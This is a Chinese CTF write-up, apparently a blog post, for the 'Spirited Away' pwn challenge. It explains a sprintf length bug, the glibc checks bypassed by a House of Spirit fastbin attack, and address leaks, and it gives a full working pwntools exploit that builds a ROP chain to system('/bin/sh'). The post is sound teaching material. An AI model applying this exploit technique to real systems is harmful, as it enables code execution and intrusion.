pwn heap: Spirited Away

House of spirit attack,题目名字说明了一切。

题目描述

32位程序,基本没开啥保护。

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

就一个评论功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
int survey()
{
char v1; // [sp+10h] [bp-E8h]@2
size_t nbytes; // [sp+48h] [bp-B0h]@1
size_t v3; // [sp+4Ch] [bp-ACh]@1
char s; // [sp+50h] [bp-A8h]@2
int v5; // [sp+A0h] [bp-58h]@2
void *buf; // [sp+A4h] [bp-54h]@2
int v7; // [sp+A8h] [bp-50h]@2

nbytes = 0x3C;
v3 = 0x50;
LABEL_2:
memset(&s, 0, 0x50u);
buf = malloc(0x3Cu);
printf("\nPlease enter your name: ");
fflush(stdout);
read(0, buf, nbytes);
printf("Please enter your age: ");
fflush(stdout);
__isoc99_scanf("%d", &v5);
printf("Why did you came to see this movie? ");
fflush(stdout);
read(0, &v7, v3);
fflush(stdout);
printf("Please enter your comment: ");
fflush(stdout);
read(0, &s, nbytes);
++cnt;
printf("Name: %s\n", buf);
printf("Age: %d\n", v5);
printf("Reason: %s\n", &v7);
printf("Comment: %s\n\n", &s);
fflush(stdout);
sprintf(&v1, "%d comment so far. We will review them as soon as we can", cnt);
puts(&v1);
puts(&::s);
fflush(stdout);
if ( cnt > 199 )
{
puts("200 comments is enough!");
fflush(stdout);
exit(0);
}
while ( 1 )
{
printf("Would you like to leave another comment? <y/n>: ");
fflush(stdout);
read(0, &choice, 3u);
if ( choice == 'Y' || choice == 'y' )
{
free(buf);
goto LABEL_2;
}
if ( choice == 'N' || choice == 'n' )
break;
puts("Wrong choice.");
fflush(stdout);
}
puts("Bye!");
return fflush(stdout);
}

依次输入name, age, reason, comment然后会依次输出,并且会把字符串”%d comment so far. We will review them as soon as we can”放在v1里面,如果继续评论的话,buf会先free然后再重新malloc

相关知识点

House of spirit 攻击原理

House of spirit是fastbin attack中的一种,主要是free出一个目标地址的fastbin出来,然后再malloc从而达到任意地址写的目的。

需要绕过的一些检测:

  • fake chunkISMMAP位(size的第2个bit)不能为1,因为free时,如果是mmap的chunk,会单独处理。
    1
    2
    3
    4
    5
    6
    7
    else if (!chunk_is_mmapped(p)) {
    ...
    }

    else {
    munmap_chunk (p);
    }
  • fake chunk地址需要对齐MALLOC_ALIGN_MASK
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
    || __builtin_expect (misaligned_chunk (p), 0))
    {
    errstr = "free(): invalid pointer";
    errout:
    if (!have_lock && locked)
    (void) mutex_unlock (&av->mutex);
    malloc_printerr (check_action, errstr, chunk2mem (p), av);
    return;
    }
  • fake chunksize大小需要满足对应的fastbin的需求,同时也得对齐。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
    {
    errstr = "free(): invalid size";
    goto errout;
    }

    if (have_lock && old != NULL && __builtin_expect (old_idx != idx, 0))
    {
    errstr = "invalid fastbin entry (free)";
    goto errout;
    }
  • fake chunknext chunk的大小不能小于2 * SIZE_SZ,同时也不能大于av->system_mem
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
    || __builtin_expect (chunksize (chunk_at_offset (p, size)) >= av->system_mem, 0))
    {
    /* We might not have a lock at this point and concurrent modifications
    of system_mem might have let to a false positive. Redo the test
    after getting the lock. */
    if (have_lock ||
    ({
    assert (locked == 0);
    mutex_lock(&av->mutex);
    locked = 1;
    chunk_at_offset (p, size)->size <= 2 * SIZE_SZ || chunksize (chunk_at_offset (p, size)) >= av->system_mem;
    }))
    {
    errstr = "free(): invalid next size (fast)";
    goto errout;
    }
    if (! have_lock)
    {
    (void)mutex_unlock(&av->mutex);
    locked = 0;
    }
    }
  • fake chunk对应的fastbin链表头部不能是该fake chunk,即不能构成double free的情况。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    do
    {
    /* Check that the top of the bin is not the record we are going to add
    (i.e., double free). */
    if (__builtin_expect (old == p, 0))
    {
    errstr = "double free or corruption (fasttop)";
    goto errout;
    }
    /* Check that size of fastbin chunk at the top is the same as
    size of the chunk that we are adding. We can dereference OLD
    only if we have the lock, otherwise it might have already been
    deallocated. See use of OLD_IDX below for the actual check. */
    if (have_lock && old != NULL)
    old_idx = fastbin_index(chunksize(old));
    p->fd = old2 = old;
    } while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2);

利用思路

  • 乍一眼看过去好像没什么洞,发现问题出在sprintf中,v1分配的大小是0x38,当cnt是两位数的时候,字符串长度正好是0x38,导致nbytes被覆盖为0,那么只要cnt为三位数,就可以将cnt覆盖为ord('n')=0x6e
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    char v1; // [sp+10h] [bp-E8h]@2
    size_t nbytes; // [sp+48h] [bp-B0h]@1
    size_t v3; // [sp+4Ch] [bp-ACh]@1
    char s; // [sp+50h] [bp-A8h]@2
    int v5; // [sp+A0h] [bp-58h]@2
    void *buf; // [sp+A4h] [bp-54h]@2
    int v7; // [sp+A8h] [bp-50h]@2

    ...

    sprintf(&v1, "%d comment so far. We will review them as soon as we can", cnt);
  • 那么对应的对s的输入可以溢出到v5buf,这里可以将栈上的libc,stack以及heap address全部都leak出来:
    1
    2
    3
    4
    5
    read(0, &s, nbytes);

    ...

    printf("Comment: %s\n\n", &s);
  • 地址leak出来之后,就可以在栈上v7的区域伪造出fake fastbin以及next chunk size,之后它会被free到fastbin中
  • 下一次的malloc就能分配到栈上的地址空间,由于这个时候nbytes=0x68,并且这个fake chunk距离栈上的return address的offset只有0x4c,所以这里我采用的是写rop的方法,构造system("/bin/sh");,从而在从survey返回地时候触发来getshell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
context.log_level = "debug"

def survey(name, age, reason, comment):
if name != "":
p.sendafter("Please enter your name: ", name)
p.sendlineafter("Please enter your age: ", str(age))
p.sendafter("Why did you came to see this movie? ", reason)
if comment != "":
p.sendafter("Please enter your comment: ", comment)

def keep(choice):
p.sendlineafter("Would you like to leave another comment? <y/n>: ", choice)

main = elf.symbols["main"]
system_offset = libc.symbols["system"]
str_bin_sh_offset = libc.search("/bin/sh").next()
heap_offset = 0x410
stack_offset = 0x1eaf8
stdout_offset = 0x1b0d60
ebp_offset = 0x1ead8

# make cnt to 100
# thus, overwrite the value of 'nbytes' to ord('n')
# because len("100 comment so far. We will review them as soon as we can") will be 57
for i in range(10):
survey("AAAA", 1, "AAAA", "AAAA")
keep("y")
for i in range(90):
survey("", 1, "AAAA", "")
keep("y")

# leak heap, stack and libc address
survey("BBBB", 1, "B" * 0x4b + "stack", "B" * 0x50 + "heap")
p.recvuntil("heap")
heap_addr = u32(p.recv(4))
heap_base = heap_addr - heap_offset
p.recvuntil("stack")
stack_addr = u32(p.recv(4))
stack_base = stack_addr - stack_offset
stack_ebp = stack_base + ebp_offset
libc_stdout = u32(p.recv(8)[4:])
libc_base = libc_stdout - stdout_offset
libc_system = libc_base + system_offset
str_bin_sh = libc_base + str_bin_sh_offset
keep("y")

# fake a fastbin near return address
# make sure the next chunk size can pass the check
# survey("CCCC", 1, p32(0) + p32(0x41) + "C" * 0x40 + p32(0) + p32(0x41), "C" * 0x54 + p32(stack_ebp - 0x40))
# keep("y")
survey("CCCC", 1, p32(0) + p32(0x41) + "C" * 0x38 + p32(0) + p32(0x41), "C" * 0x54 + p32(stack_ebp - 0x48))
keep("y")

# overwrite return address to construct rop chain
payload = "D" * 0x48
payload += flat([0xdeadbeef, libc_system, 0xdeadbeef, str_bin_sh])
survey(payload, 1, "DDDD", "DDDD")
keep("n")

success("heap_base: " + hex(heap_base))
success("stack_base: " + hex(stack_base))
success("stack_ebp: " + hex(stack_ebp))
success("libc_base: " + hex(libc_base))
success("libc_system: " + hex(libc_system))
success("str_bin_sh: " + hex(str_bin_sh))

p.interactive()

小结

  • 很基本的House of spirit attack,主要是了解一下原理以及一些check的pass
  • 我能想到的最简单的就是rop了,不知道还有没有其他姿势

参考资料

都是House of spirit的原理分析:

  1. https://www.anquanke.com/post/id/85357
  2. https://www.cnblogs.com/luoleqi/p/12357190.html
  3. https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/fastbin_attack-zh/
Author: Nop
Link: https://n0nop.com/2020/04/08/pwn-heap-Spirited-Away/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.